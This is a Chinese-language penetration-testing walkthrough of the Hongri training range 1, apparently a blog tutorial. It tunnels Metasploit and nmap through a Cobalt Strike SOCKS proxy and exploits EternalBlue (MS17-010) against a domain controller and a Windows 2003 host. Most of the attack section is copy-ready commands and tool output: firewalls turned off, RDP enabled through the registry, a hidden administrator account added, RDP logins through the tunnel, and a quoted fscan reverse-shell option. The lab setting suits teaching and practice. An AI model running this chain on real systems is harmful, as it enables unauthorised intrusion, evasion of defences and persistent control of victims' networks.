目录
[一、Cobalt Strike代理转发功能](#一、Cobalt Strike代理转发功能)
[① 192.168.52.141](#① 192.168.52.141)
[② 192.168.52.138](#② 192.168.52.138)
[① 192.168.52.141](#① 192.168.52.141)
[② 192.168.52.138](#② 192.168.52.138)
[1、Cobalt Strike开启代理转发](#1、Cobalt Strike开启代理转发)
[① 请求路径 (Outbound Request)](#① 请求路径 (Outbound Request))
[② 返回路径 (Inbound Response)](#② 返回路径 (Inbound Response))
[① 流量发起](#① 流量发起)
[② 代理路由](#② 代理路由)
[(3)与 Proxychains 的对比](#(3)与 Proxychains 的对比)
[(1) 查看域控fw状态](#(1) 查看域控fw状态)
[(2) MSF执行关闭fw命令](#(2) MSF执行关闭fw命令)
[(1)net view](#(1)net view)
[① rdesktop](#① rdesktop)
[② xfreerdp](#② xfreerdp)
本文通过红日靶场1的实战演练,详细讲解了基于CobaltStrike代理和MSF框架的永恒之蓝漏洞利用技术。首先利用CobaltStrike建立SOCKS代理隧道,将外网流量转发至内网跳板机。然后使用FSCAN和Ladon工具扫描内网,发现多台主机存在MS17-010漏洞(CVE-2017-0143)。重点演示了如何通过代理配置MSF框架,利用永恒之蓝漏洞攻陷域控服务器和Win2003主机,包括关闭防火墙、开启远程桌面等操作,最终实现内网横向移动。整个攻击过程通过代理转发隐藏真实IP,展现了典型的内网渗透技术链。

一、Cobalt Strike代理转发功能
Cobalt Strike 的代理转发功能是一个内置于团队服务器的 SOCKS 代理服务器 。它的核心目的是将攻击者的网络流量,通过已建立的 Beacon 会话,路由到目标内网。
1、工作原理
-
服务端组件:该功能在团队服务器上运行,监听一个指定的端口(如配置为12347)。这个端口就是一个标准的 SOCKS4/5 代理服务端口。
-
依赖 Beacon 中继 :这个代理服务器本身并不能直接访问目标网络。它必须与一个或多个已上线的 Beacon 配合工作。Beacon 作为在跳板机系统上的植入体,充当了流量转发的最终执行者和 出口节点。
-
流量隧道 :当攻击者将工具的流量指向此 SOCKS 代理端口时,团队服务器会将这些网络请求(如 TCP 连接)封装在 Beacon 的 C2 通信协议中(例如 HTTPS 或 HTTP),然后通过加密信道发送给指定的 Beacon。
-
Beacon 执行 :Beacon 收到这些被封装的网络请求后,会在其所在的主机上原生地执行这些请求(例如建立一条到内网其他主机的 TCP 连接)。最终,扫描或访问的结果会沿着原路(Beacon → 团队服务器 → SOCKS 代理 → 攻击者工具)返回。
总结来说,Cobalt Strike 的代理转发功能本质上是建立了一条从攻击者工具到目标内网的、经过团队服务器和 Beacon 中继的加密通信隧道,使得攻击者能够直接从内网视角发起网络操作。
2、正向代理
Cobalt Strike 的这个代理功能是一个典型的 正向代理,因为它明确代表客户端(攻击者)发起请求。攻击者主动配置工具连接该代理,由代理服务器通过Beacon隧道在内网执行扫描操作。目标系统看到的流量源是内网Beacon主机,从而完美隐藏了攻击者的真实身份和位置。这与为用户提供匿名访问的正向代理原理完全一致,而非为服务器服务的反向代理模式。
| 类型 | 角色 | 典型场景 | Cobalt Strike 场景类比 |
|---|---|---|---|
| 正向代理 | 代表客户端(攻击者) 向服务器(内网目标)发起请求。它隐藏了客户端的身份。 | 公司员工通过代理服务器上网。代理代表员工去访问网站,网站看不到员工的真实IP。 | 攻击者 主动配置工具使用CS的SOCKS代理。代理代表攻击者去扫描内网,内网目标看到的是Beacon主机的IP,而不是攻击者的IP。 |
| 反向代理 | 代表服务器 接收客户端的请求。它隐藏了服务器的身份和位置。 | 网站使用CDN或负载均衡器。用户访问CDN的IP,CDN将请求转发给后端的真实服务器。 | 不适用此场景。CS代理不是用来接收来自互联网的请求并转发给隐藏的Beacon的。 |
二、内网漏洞探测
1、FSCAN扫描
fscan是一款专注于内网安全的开源渗透扫描工具,以轻量高效著称。它集成了主机发现、端口扫描、服务爆破和常见漏洞检测等多种功能,支持一键自动化信息收集。其最大特点是执行速度快、命令简单,能快速梳理内网资产并识别脆弱点,是红队操作中进行内网横向移动和资产梳理的常用利器。其常用参数如下所示。
目标指定参数
-h - 指定目标IP/IP段/域名,支持CIDR格式和范围
-hf - 从文件读取目标列表
-pn - 指定端口范围,如1-1000,3389
-pa - 指定UDP端口扫描
扫描模式参数
-m - 指定扫描模块,如ssh,ftp,mysql,web等
-np - 跳过主机存活检测(禁ping目标)
-poc - 自定义POC模块
-nopoc - 跳过漏洞检测,只端口扫描
性能控制参数
-t - 设置并发线程数
-time - 设置超时时间(秒)
-debug - 调试模式显示详细过程
输出参数
-o - 指定结果输出文件
-csv - 以CSV格式输出
(1)上传fscan
在已经上线的跳板机System会话中,使用插件进行Fscan上传,具体步骤如下所示。

上传路径中写fscan文件的路径,具体如下所示。 如上图的命令行结果所示,fscan上传成功,接下来我们可以用fscan执行命令。

(2)运行fscan
使用fscan ****.exe进行内网主机名探测,网段填写内网192.168.52.138,192.168.52.141,如下所示。
fscan.exe -h 192.168.52.138,192.168.52.141 -o out.txt

使用fscan工具对IP地址192.168.52.138和192.168.52.141进行综合漏洞扫描,扫描结果将自动保存到out.txt文件中,-h参数指定目标主机,-o参数定义输出文件,用于快速评估目标系统的安全状况和暴露面。

我们针对两个最关键目标 192.168.52.138 (域控制器) 和 192.168.52.141 (最脆弱的服务器) 的精准深度扫描,发现**两者均存在一条可直达系统内核的致命漏洞(MS17-010),**详细结果如下所示。
[09/30 23:24:35] [+] =========== 运行 Fscan ==========
[09/30 23:24:35] [*] Fscan
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 (默认使用全部模块)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/16 (B段扫描)
[09/30 23:24:35] [*] 其他用法:
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -np -no -nopoc (跳过存活检测、不保存文件、跳过web poc扫描)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -rf id_rsa.pub (redis 写公钥)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -rs 192.168.1.1:6666 (redis 计划任务反弹shell)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定文件的用户名、密码来进行爆破)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -o /tmp/1.txt (指定扫描结果保存路径,默认保存在当前路径)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/8 (A段的192.x.x.1和192.x.x.254,方便快速查看网段信息)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m smb -pwd password (smb密码碰撞)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -c whoami (ssh 爆破成功后,命令执行)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m ssh -p 2222 (指定模块ssh和端口)
[09/30 23:24:35] [*] fscan.exe -h 192.168.1.1/24 -m ms17010 (指定模块)
[09/30 23:24:35] [*] fscan.exe -h 192.0.0.0/8 -m icmp (探测每个C段的网关和数个随机IP,并统计top 10 B、C段存活数量)
[09/30 23:24:35] [*]
[09/30 23:24:35] [*] fscan.exe -h (查看完整使用方法)
[09/30 23:25:10] [*] Tasked beacon to run: fscan.exe -h 192.168.52.138,192.168.52.141 -o out.txt
[09/30 23:25:10] [+] host called home, sent: 71 bytes
[09/30 23:25:22] [+] received output:
___ _
/ _ \ ___ ___ _ __ __ _ ___| | __
/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__| <
\____/ |___/\___|_| \__,_|\___|_|\_\
fscan version: 1.6.3
start infoscan
(icmp) Target '192.168.52.138' is alive
(icmp) Target '192.168.52.141' is alive
icmp alive hosts len is: 2
192.168.52.141:21 open
192.168.52.141:8098 open
192.168.52.141:7002 open
192.168.52.138:88 open
192.168.52.141:7001 open
192.168.52.141:445 open
192.168.52.141:139 open
192.168.52.138:445 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.138:135 open
192.168.52.138:80 open
192.168.52.141:8099 open
alive ports len is: 13
start vulscan
NetInfo:
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[*] 192.168.52.141 GOD\SNTL_ROOT-TVI86
[*] WebTitle:http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[*] 192.168.52.138 [+]DC GOD\OWA Windows Server 2008 R2 Datacenter 7601 Service Pack 1
NetInfo:
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle:http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[*] WebTitle:http://192.168.52.138 code:200 len:4 title:IIS7
[09/30 23:25:23] [+] received output:
宸插畬鎴� 15/15
scan end
(3)端口分析
分析端口开放情况,总结就是"主机端口开放少而精",全是核心服务端口。攻击面相对单一但极其致命,主要集中在SMB协议(445) 上。这是一台典型的重型堡垒,正面强攻的唯一大门就是445端口。
① 192.168.52.141
开放端口 : 21, 135, 139, 445, 7001, 7002, 8098, 8099
-
高风险端口群 (SMB):
135, 139, 445: SMB/RPC 服务端口 。这是MS17-010漏洞的攻击入口。开放这些端口意味着攻击面暴露。
-
极高风险服务端口:
21 (FTP): 匿名访问 。这是配置错误类漏洞,允许攻击者无需认证即可连接,尝试文件上传/下载,是独立的攻击向量。
-
Web应用端口群:
-
7002: Sentinel Keys License Monitor 。这是一个已知的、历史存在高危漏洞的第三方服务,是Web层面的重点攻击对象。 -
8099: 强制HTTPS的未知服务,需进一步探测https。 -
8098, 7001: 未知服务,是潜在的隐藏攻击面。
-
端口分析结论 : 该主机端口开放多,攻击面广。不仅存在系统级攻击入口(445) ,还存在应用级攻击入口(21, 7002) 和未知攻击入口(8098, 8099, 7001),提供了多重攻击路径。
② 192.168.52.138
开放端口 : 80, 88, 135, 139, 445
-
核心域服务端口:
-
88 (Kerberos): 域身份验证核心服务。在获取凭证后用于黄金票据攻击。 -
135, 139, 445: SMB/RPC 服务端口 。同样是MS17-010的攻击入口 ,也是横向移动时Pass-The-Hash的攻击目标。
-
-
Web服务端口:
80 (HTTP): 默认IIS7页面。攻击价值较低,但需排查是否存在隐藏目录或应用。
(4)漏洞分析
① 192.168.52.141
-
【漏洞名称】: MS17-010 (EternalBlue)
-
类型 : 远程代码执行 (RCE)。
-
攻击复杂度: 低。武器化工具成熟。
-
所需权限: 无。无需任何身份验证。
-
影响 : 直接获取 SYSTEM 级别权限。
-
利用条件: SMBv1 服务可访问(端口445开放)。
-
-
【漏洞名称】: 匿名FTP访问
-
类型 : 配置错误 / 权限提升。
-
攻击复杂度: 极低。
-
所需权限: 无。
-
影响: 可能导致信息泄露、WebShell上传,从而获得Web权限。
-
利用条件: FTP服务允许匿名登录。
-
-
【潜在漏洞】: Sentinel Keys License Monitor 未知漏洞
-
类型 : 应用层RCE / 权限绕过 (需进一步探测)。
-
攻击复杂度: 中(需要特定EXP)。
-
影响: 可能直接获取系统权限或应用权限。
-
漏洞分析结论 : 141提供了 "漏洞三选一" 的富裕攻击方案。MS17-010是主攻武器,匿名FTP和Sentinel服务是备选的侧翼攻击通道。
② 192.168.52.138
-
【漏洞名称】: MS17-010 (EternalBlue)
-
类型 : 远程代码执行 (RCE)。
-
攻击复杂度: 低。
-
所需权限: 无。
-
影响 : 灾难性 。直接获取域控制器的 SYSTEM 权限,等同于完全控制整个域。
-
利用条件: SMBv1 服务可访问(端口445开放)。
-
漏洞分析结论 : 138的漏洞态势简单而残酷:一个漏洞,一招制胜。MS17-010的存在使得所有复杂的域渗透技巧都变得多余。
2、ms17-010探测
使用命令Ladon.exe 192.168.52.0/24 MS17010在内网 192.168.52.0/24 网段中,针对 永恒之蓝( EternalBlue ) 漏洞(MS17-010)的专项扫描, 运行结果如下所示。

扫描发现了4台在线主机,其中3台存在MS17-010漏洞,详细结果如下所示。
[09/30 23:47:51] [+] -------------------------------------------------------------MS17010探测------------------------------------------------------------
[09/30 23:48:11] [*] Tasked beacon to run .NET program: Ladon.exe 192.168.52.0/24 MS17010
[09/30 23:48:11] [+] host called home, sent: 989273 bytes
[09/30 23:51:36] [+] received output:
Ladon 6.6
Start: 2025/9/30 23:51:00
Runtime: .net 4.0 OS Arch: x64
[09/30 23:51:38] [+] received output:
OS Name: Microsoft Windows 7 专业版
192.168.52.0/24
load MS17010
192.168.52.0/24 is Valid CIDR
[09/30 23:51:39] [+] received output:
IPCound: 256
Scan Start: 2025/9/30 23:51:03
[09/30 23:51:46] [+] received output:
192.168.52.1 DESKTOP-BKAQPQQ
[09/30 23:52:00] [+] received output:
192.168.52.138 MS17-010 OWA god.org [Win 2008 R2 Datacenter 7601 SP 1]
192.168.52.141 MS17-010 ROOT-TVI862UBEH god.org [Win 2003 3790]
192.168.52.143 MS17-010 STU1 god.org [Win 7 Professional 7601 SP 1]
[09/30 23:52:03] [+] received output:
=============================================
OnlinePC:4
Cidr Scan Finished!
End: 2025/9/30 23:51:30
以下是对该MS17010扫描结果的表格化分析,其中137、141、138共3台内网设备均有ms17-010漏洞。
| IP地址 | 主机名 | 域名 | 操作系统 | MS17-010漏洞 | 风险等级 | 攻击价值与备注 |
|---|---|---|---|---|---|---|
| 192.168.52.1 | DESKTOP-BKAQPQQ | (WORKGROUP) | 未知 | 不存在 | 低 | 非域成员,可能是网关或多宿主主机。非优先攻击目标。 |
| 192.168.52.138 | OWA | god.org | Windows 2008 R2 Datacenter SP1 | 存在 | 极高 | 域控制器 。攻陷此目标等同于完全控制整个god.org域,是终极攻击目标。 |
| 192.168.52.141 | ROOT-TVI862UBEH | god.org | Windows Server 2003 | 存在 | 极高 | 最脆弱的系统 。古老的系统,利用成功率高,是建立初始立足点的完美跳板。 |
| 192.168.52.143 | STU1 | god.org | Windows 7 Professional SP1 | 存在 | 高 | 域内客户端。可作为横向移动的中间节点,用于窃取用户数据或作为备用控制点。 |
三、配置代理
1、Cobalt Strike开启代理转发
我们希望在Cobalt Strike 团队服务器上创建了一个 **SOCKS4 代理服务器,**在已上线的跳板机CS中,选中system会话右键代理转发-socks代理,如下图所示。
这里配置端口为12347,代表在CS服务器上开启端口12347的监听,这样任何发送到团队服务器 12347 端口的网络流量,都会被 Cobalt Strike 通过其与 Beacon 之间的加密 C2 信道( HTTPS、HTTP 等)转发给跳板机的 Beacon ,并由该 Beacon 代为执行。配置如下图所示。
执行成功后,跳板机就变成了一个SOCKS代理服务器,等待接收来自攻击机Kali的代理请求。
2、跳板机查看代理转发
可以通过菜单栏的"视图-代理转发"查看此代理,具体如下所示。
点击隧道,复制命令:setg Proxies socks4:192.168.59.128:12347。
setg Proxies socks4:192.168.59.128:12347
四、Nmap探测
1、proxychain配置使用代理
在 Kali 攻击机器修改 /etc/proxychains4.conf 文件,添加一行:socks4 127.0.0.1 12347
socks4 127.0.0.1 12347
这告诉 proxychains:"请将我指定的所有网络流量,都转发到本机127.0.0.1的 12347 端口。具体配置如下所示。
这样当使用 proxychains 运行一个工具(如 proxychains nmap -sT 192.168.52.0/24)时:
-
proxychains会拦截该工具产生的所有网络请求。 -
按照配置,
proxychains会将这些请求封装成 SOCKS4 协议格式 ,然后发送给127.0.0.1:12347。
2、Nmap探测域控
(1)普通探测
第一次使用proxychains nmap 192.168.52.138没有返回结果,提示机器可能down掉,建议增加 --Pn,效果如下所示。
正常情况下的 nmap 工作流程:
- 先发送ping包探测主机是否在线
- 如果主机在线,才进行端口扫描
- 如果主机不在线,就跳过扫描
使用 -Pn 后的工作流程:
- 跳过ping检测,不管目标是否响应ping
- 强制进行端口扫描,直接把目标当作在线主机处理
(2)-Pn参数探测
将命令改为proxychains nmap 192.168.52.138 -Pn 强制对 IP 地址 192.168.52.138 进行端口扫描,即使目标主机不响应 Ping 请求也会直接扫描其端口。
(3)详解原理
proxychains nmap 192.168.52.138 -Pn 命令的含义是通过proxychains 代理,扫描内网中 IP 为 192.168.52.138 的主机,并跳过主机发现(-Pn)直接进行端口扫描。其完整的端到端数据流转发路径如下图所示:
flowchart LR
subgraph Attacker[攻击者机器 Kali]
N[Nmap]
P[proxychains]
end
subgraph C2[Cobalt Strike 团队服务器]
S[SOCKS4 Proxy<br>12347端口]
end
subgraph Internal[目标内网]
B[被控跳板机<br>Beacon]
T[扫描目标<br>192.168.52.138]
end
N -- "1. 生成扫描包<br>SYN to 192.168.52.138" --> P
P -- "2. SOCKS4封装<br>转发至127.0.0.1:12347" --> S
S -- "3. Task & Data<br>通过C2信道下发" --> B
B -- "4. 原生SYN包<br>从内网发出" --> T
T -- "5. SYN-ACK响应<br>返回给Beacon" --> B
B -- "6. Response Data<br>通过C2信道回传" --> S
S -- "7. SOCKS响应<br>返回给proxychains" --> P
P -- "8. 解包后<br>呈现给Nmap" --> N
下面是每个步骤的详细分解:
① 请求路径 (Outbound Request)
-
Nmap 生成扫描包:
-
您在 Kali 终端输入
proxychains nmap 192.168.52.138 -Pn。 -
Nmap 进程启动,并根据参数生成原始的 TCP SYN 扫描数据包,目标地址是
192.168.52.138。
-
-
Proxychains 拦截与封装:
-
proxychains通过LD_PRELOAD机制拦截了 Nmap 发出的网络连接请求。 -
它将该请求按照 SOCKS4 协议 进行封装,并转发到
127.0.0.1:12347。本质上,它向这个端口发送了一条指令:"请帮我建立一个到192.168.52.138:80(举例) 的 TCP 连接"。
-
-
CS SOCKS 服务器接收与处理:
-
Cobalt Strike 团队服务器上的 SOCKS 服务(监听
12347)收到该指令。 -
团队服务器将这个"建立连接"的请求,转换为一个 Beacon 任务,并通过加密的 C2 信道 (如 HTTPS)下发给内网的 Beacon。
-
-
Beacon 执行扫描: Beacon 收到任务后,在其所在的受害主机(跳板机)上,以其网络身份原生地 创建一个 TCP SYN 包,发送给内网目标
192.168.52.138的指定端口。
② 返回路径 (Inbound Response)
-
目标主机响应:
-
目标
192.168.52.138收到 SYN 包后,如果端口开放,会回复一个 SYN-ACK 包。 -
这个回复包的目的地是 Beacon 主机 的 IP 地址,因为请求是从它那里发来的。
-
-
Beacon 回传数据:
-
Beacon 主机收到来自目标的 SYN-ACK 包。
-
Beacon 将这个响应数据("端口开放")作为任务结果,通过反向的、加密的 C2 信道 回传给团队服务器。
-
-
CS SOCKS 服务器转发响应:
- 团队服务器收到 Beacon 返回的数据后,将其转换为 SOCKS 协议响应 ,并通过之前建立的
12347端口的连接,发回给等待中的proxychains进程。
- 团队服务器收到 Beacon 返回的数据后,将其转换为 SOCKS 协议响应 ,并通过之前建立的
-
Proxychains 交付结果:
-
proxychains收到响应,将其解包,然后递交给 Nmap 进程。 -
Nmap 接收到 SYN-ACK,从而判断该端口是开放的。
-
五、域控永恒之蓝渗透
1、MSF配置使用代理
输入msfconsole
输入setg Proxies socks4:192.168.59.128:12347
(1)命令含义
在Metasploit框架中全局设置SOCKS4代理,使所有后续攻击流量均通过IP为192.168.59.128、端口12347的代理服务器进行转发,实现隐藏真实源地址、内网穿透和横向移动的目的,常用于绕过网络隔离策略或通过跳板机访问受限网络环境。
-
setg: 表示 set global,即设置一个全局参数。所有后续启动的模块都会继承这个配置。 -
Proxies: Metasploit 内置参数,用于设置代理。 -
socks4:192.168.59.128:12347: 这是代理协议的格式。-
socks4: 指定代理协议类型。 -
192.168.59.128: 这是运行着 Cobalt Strike 团队服务器并开启了 SOCKS 代理服务的主机 IP。 -
12347: Cobalt Strike SOCKS 代理服务的监听端口。
-
(2)原理详解
setg Proxies socks4:192.168.59.128:12347命令在 MSF 和 CS 之间建立了一条代理链,其完整的数据流路径如下
下面我们来详细分解图中的数据流转过程:
①流量发起
在 MSF 中执行任何需要与目标网络通信的操作时,例如:
-
使用
auxiliary/admin/smb/ms17_010_command进行smb命令执行。 -
使用
exploit/windows/smb/psexec模块,并且其 payload (如windows/meterpreter/bind_tcp) 需要连接回目标。
② 代理路由
-
MSF 不会直接将数据包发送到目标 IP,而是根据
Proxies设置,将所有流量发往192.168.59.128:12347。 -
接下来的路径就与
proxychains完全一样了:-
Cobalt Strike 团队服务器接收流量,通过加密 C2 信道转发给内网的 Beacon。
-
Beacon 在目标内网中代为执行真正的网络操作(扫描、建立连接等)。
-
③ 会话建立(关键区别)
-
当利用模块成功,并且 payload(例如一个 Meterpreter shell)在目标上执行时,这个 payload 会尝试连接回 Beacon 跳板机,因为它是实际的流量发起者。
-
然后,这个连接会通过跳板机Beacon → 团队服务器 → SOCKS 代理 → 最终到达您的 MSF 框架,从而建立一个完整的 Meterpreter 会话。
(3)与 Proxychains 的对比
| 特性 | proxychains + 工具 |
setg Proxies in MSF |
|---|---|---|
| 作用对象 | 系统上任何支持 TCP 的命令行工具 (nmap, curl等) | 仅限 Metasploit Framework 内部的模块和 payload |
| 实现层面 | 系统库级别 (LD_PRELOAD) | 应用框架级别 |
| 使用便捷性 | 需要在每个命令前加 proxychains |
一次性设置,对所有模块生效 |
| 功能范围 | 主要转发工具的扫描/连接流量 | 能转发整个攻击链 流量,包括漏洞利用后的payload回连 |
总结: setg Proxies 是将 Metasploit 这个庞大的攻击框架本身"嫁接"到了 Cobalt Strike 的横向渗透能力上,使得 MSF 的所有操作都像是从内网被控主机发起的,极大地扩展了在目标内网中的攻击半径。
2、ms17-010漏洞探测
search ms17-010
use 3
set rhosts 192.168.52.138
run
3、关闭域控防火墙
(1) 查看域控fw状态
关闭防火墙前,查看下域控机器防火墙的配置,如下所示当前域控防火墙处于开启状态。
(2) MSF执行关闭fw命令
MSF执行关闭防火墙命令,如下所示。
use auxiliary/admin/smb/ms17_010_command
set rhosts 192.168.52.138
set command netsh advfirewall set allprofiles state off
run
运行结果如下所示,其实已经关闭成功了。
(3)查看关闭fw效果
4、域控ms17-010漏洞利用
使用Metasploit框架对目标192.168.52.138发起基于永恒之蓝漏洞的远程攻击。通过MS17-010漏洞利用模块建立SMB连接,并在目标系统执行指定的Bind TCP载荷。与反向连接不同,Bind TCP会在目标系统开启指定端口等待连接,随后攻击者主动连接该端口获取Meterpreter会话。此方式常在内网渗透中用于规避防火墙出站限制,直接在被控主机上绑定服务端口建立控制通道。
use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.52.138
set payload windows/x64/meterpreter/bind_tcp
exploit
查看options如下所示,注意这里payload选择的是bind_tcp。
如下所示,msf成功获得DC域控的控制权。
六、Win2003永恒之蓝渗透
1、漏洞探测
使用Metasploit的MS17-010漏洞扫描模块对目标192.168.52.138进行安全检测。通过向目标445端口发送特制SMB数据包,根据返回响应判断系统是否存在永恒之蓝漏洞。整个过程为无损探测,不会对目标系统造成破坏,仅提供"存在漏洞"、"已修复"或"无法检测"三种明确状态,是渗透测试中评估内网主机安全性的标准初始操作。
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.52.138
exploit
2、查询信息
(1)net view
net view 是 Windows 系统的内置网络命令,主要用于浏览本地网络环境中的共享资源。执行后会列出当前域或工作组中所有在线的计算机名称,帮助用户快速发现网络邻居。该命令是内网渗透中关键的信息收集手段,攻击者常用它来绘制网络拓扑、定位文件服务器和域控制器等高价值目标,为后续横向移动提供情报支持。
(2)whoami
查看用户权限,如下所示这是个system最高权限的用户。
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command whoami
(3)密码策略
net accounts是Windows系统的本地安全策略查看命令,用于显示或修改当前计算机的密码和账户锁定策略。执行后会返回密码最短/最长使用期限、最小长度、密码历史保留数以及账户锁定阈值和时长等关键安全配置。
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command "net accounts"
run
根据该密码策略分析,系统采用了相对宽松但具备基本安全要求的安全配置:密码复杂度要求最低7位字符并保留24个历史密码以防止重复使用,同时设置了1天的最短密码有效期和42天的强制更换周期以平衡安全性与可用性。账户锁定机制虽配置了30分钟的锁定观察窗口和持续时间,但由于锁定阈值为"从不"实际上禁用了账户锁定功能,这意味着暴力破解攻击难以被自动阻止。
3、开启远程桌面
接下来执行开启远程桌面的命令,使用注册表功能,命令如下所示,含义是"在系统注册表中,将'是否拒绝远程桌面连接'这一选项的值设置为'0'(否),也就是强制启用远程桌面功能。"
set RHOSTS 192.168.52.141
set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'
这是一个用于 启用 Windows 远程桌面服务 的注册表命令。下面详细分解其含义和作用:
| 部分 | 含义 | 解释 |
|---|---|---|
REG ADD |
注册表添加命令 | 用于向 Windows 注册表添加或修改一个键值。 |
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server |
注册表路径 | 这是控制 Windows 终端服务(即远程桌面)的核心注册表项。 HKLM = HKEY_LOCAL_MACHINE(本地机器根键)。 |
/v fDenyTSConnections |
值名称 | 要修改的特定值的名称。 fDenyTSConnections 意为 "拒绝终端服务连接"。 |
/t REG_DWORD |
数据类型 | 指定要设置的值的数据类型为 REG_DWORD(32位数字)。 |
/d 00000000 |
数据 | 要设置的实际数据。 00000000 = 0 (启用远程桌面) 00000001 = 1(禁用远程桌面) |
/f |
强制选项 | 强制覆盖现有值,不显示确认提示。 |
该命令通过修改注册表强制启用Windows远程桌面服务。它在系统注册表路径下,将控制远程桌面连接的核心键值fDenyTSConnections设置为0,从而立即开启RDP功能。这是渗透测试中建立图形化持久化访问的常用手段,无需重启即可为攻击者打开3389端口的远程控制通道。执行效果如下所示。
4、关闭防火墙
(1)netsh advfirewall set allprofiles state off
通过netsh工具关闭Windows系统所有配置文件(域、专用、公用)的防火墙功能,立即消除所有网络端口的访问限制。这是渗透测试中为后续扫描、横向移动和持久化操作扫清障碍的常见手段,能彻底解除系统的网络层防护,但会触发安全日志并暴露行踪。
set command netsh advfirewall set allprofiles state off
(2)sc stop sharedaccess
如上所示,命令执行失败。这个命令在 Windows Server 2003 上不好用的主要原因在于 netsh advfirewall 组件在 Windows Server 2003 上根本不存在 。netsh advfirewall(高级安全防火墙)是从 Windows Vista 和 Windows Server 2008 开始引入的全新防火墙管理架构。而 Windows Server 2003 及更早的系统使用的是旧版的 Windows 防火墙 或 ICF。对于 Windows Server 2003,需要使用其对应的旧版防火墙命令来达到同样目的,具体如下所示。
set command sc stop sharedaccess
sc stop sharedaccess使用 Windows 服务控制器(Service Controller)来强制停止 Internet 连接防火墙(ICF)和 Internet 连接共享(ICS)服务的命令,用于立即关闭 Windows Server 2003 的防火墙功能。sharedaccess 服务对应如下内容
-
Internet Connection Firewall (ICF) - Windows 2003 内置防火墙
-
Internet Connection Sharing (ICS) - Internet 连接共享功能

(3)sc query sharedaccess
sc query sharedaccess 用于查询 Internet 连接防火墙和连接共享服务当前运行状态的管理命令,它可以显示该服务是否正在运行、启动类型以及进程ID等详细信息,帮助管理员准确了解 Windows Server 2003 防火墙服务的实际状态。
set command sc query sharedaccess
根据 sc query sharedaccess 的运行结果分析,Windows Server 2003 的防火墙服务已经完全关闭且处于停止状态, 代表所有网络端口都已开放,无任何过滤保护**。**
-
STATE : 1 STOPPED- 明确显示服务已停止。 -
NOT_STOPPABLE- 无法再次停止(因为已经停止) -
NOT_PAUSABLE- 不支持暂停功能 -
IGNORES_SHUTDOWN- 忽略系统关机指令 -
WIN32_EXIT_CODE : 1077- 服务未启动的标准退出代码

5、远程桌面连接(管理员账户登录)
通过proxychains代理隧道,使用rdesktop客户端远程连接192.168.52.141的Windows主机,并以管理员账户Administrator及对应密码进行认证登录。此举将RDP图形化访问流量全部经由socks代理转发,有效隐藏攻击者真实源IP,实现从内网跳板机发起的隐蔽远程控制,为后续横向移动提供可视化操作界面。
proxychains rdesktop 192.168.52.141 -u Administrator -p hongrisec@2025
6、远程桌面新添加用户登录
(1)添加普通账户
use auxiliary/admin/smb/ms17_010_command
set RHOSTS 192.168.52.141
set command net user ljn P@ssw0rd123 /add
(2)查看新账户是否添加成功
查看是否新建用户ljn成功,如下所示创建成功。
set command net user
run
(3)新账户加入管理员组
set command net localgroup administrators ljn /add
run
(4)查看管理员组是否加入成功
set command net user ljn
(5)远程登陆新账户
① rdesktop
proxychains rdesktop 192.168.52.141 -u ljn -p P@ssw0rd123命令开启对win2003靶机的远程登录。
默认会登录到god域,具体如下所示,这需要手动修改登录域并重新输入密码,需要修改为登录到IUSR_ROOT-TVI862UBEH才能登陆成功。
于是我们修改开启远程桌面的命令,让其登录到IUSR_ROOT-TVI862UBEH,新的命令如下所示。
proxychains rdesktop 192.168.52.141 -u "ROOT-TVI862UBEH\ljn" -p P@ssw0rd123 -g 1024x768
通过proxychains代理隧道建立到目标主机192.168.52.141的远程桌面连接,使用"ROOT-TVI862UBEH\ljn"格式明确指定本地用户身份进行认证,有效规避域登录冲突。通过-g参数将远程会话分辨率设置为1024x768,在保证操作体验的同时优化网络传输效率。整个过程将RDP图形流量全部经由SOCKS代理转发,实现攻击源IP隐藏和基于内网跳板的隐蔽图形化控制。
② xfreerdp
proxychains xfreerdp /v:192.168.52.141 /u:ljn /p:P@ssw0rd123命令默认会登录到god域,具体如下所示,这需要手动修改登录域并重新输入域名。
我们修改命令如下所示,通过proxychains代理隧道,使用xfreerdp客户端远程连接192.168.52.141的Windows主机。通过指定ROOT-TVI862UBEH\ljn的用户格式,明确使用该计算机上的本地用户ljn而非域账户进行认证,有效解决登录时可能出现的域身份识别错误问题。整个过程将RDP图形访问流量经由SOCKS代理转发,实现攻击源IP的隐蔽和基于内网跳板机的隐蔽远程控制。
proxychains xfreerdp /v:192.168.52.141 /u:ROOT-TVI862UBEH\\ljn /p:P@ssw0rd123